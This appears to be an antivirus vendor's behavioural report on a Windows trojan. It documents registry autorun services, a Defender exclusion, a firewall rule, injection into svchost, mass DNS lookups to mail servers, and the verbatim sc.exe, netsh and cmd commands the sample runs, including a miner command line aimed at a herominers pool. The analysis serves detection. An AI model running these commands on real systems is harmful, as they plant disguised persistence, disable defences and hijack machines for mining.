Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\uzygbcuk] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\uzygbcuk] 'ImagePath' = '%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\uzygbcuk] 'ImagePath' = '%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\uzygbcuk' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\oqjubjxn.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\oqjubjxn.exe to %WINDIR%\syswow64\uzygbcuk\oqjubjxn.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK bg##.com
- DNS ASK d3#####.##s.barracudanetworks.com
- DNS ASK lp####gncorp.com
- DNS ASK ed####rkshop.com
- DNS ASK ma##.#rotonmail.ch
- DNS ASK ar###-td.com
- DNS ASK gs.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK pe###mina.com
- DNS ASK mx#.##rtamina.com
- DNS ASK ey##.com
- DNS ASK al####maxcut.com
- DNS ASK ip##fo.io
- DNS ASK ip##er.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK sa####ite-email.com
- DNS ASK sp#####ter.eikmail.com
- DNS ASK li##y.com
- DNS ASK ma######prde1.xh1.lilly.com
- DNS ASK re###chi.com
- DNS ASK mx.##tker.com
- DNS ASK ds##.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK gd###rich.com
- DNS ASK we#####.gdietrich.com
- DNS ASK em#.mail.ru
- DNS ASK or###nuk.com
- DNS ASK ic##ail.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK dp#.#oreal.com
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK sl####eyetel.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ma###.newulmtel.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK up#####uyersclub.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK gs###reless.com
- DNS ASK hk.####n.herominers.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK bi##ky.net
- DNS ASK mx#.###per.iphmx.com
- DNS ASK google.com
- DNS ASK go###e.co.uk
- DNS ASK ja###tech.com
- DNS ASK re##ult.com
- DNS ASK sm##.renault.fr
- DNS ASK lp##rp.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK on###eok.com
- DNS ASK ma#####e2.drcomp.com
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK e-####edtoday.com
- DNS ASK ar.#hl.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK at##n.com
- DNS ASK bi####.##t.mx1.ikano.rcimx.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\uzygbcuk\oqjubjxn.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\uzygbcuk\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oqjubjxn.exe" %WINDIR%\SysWOW64\uzygbcuk\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create uzygbcuk binPath= "%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description uzygbcuk "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start uzygbcuk' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\uzygbcuk\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oqjubjxn.exe" %WINDIR%\SysWOW64\uzygbcuk\
- '%WINDIR%\syswow64\sc.exe' create uzygbcuk binPath= "%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description uzygbcuk "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start uzygbcuk
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k
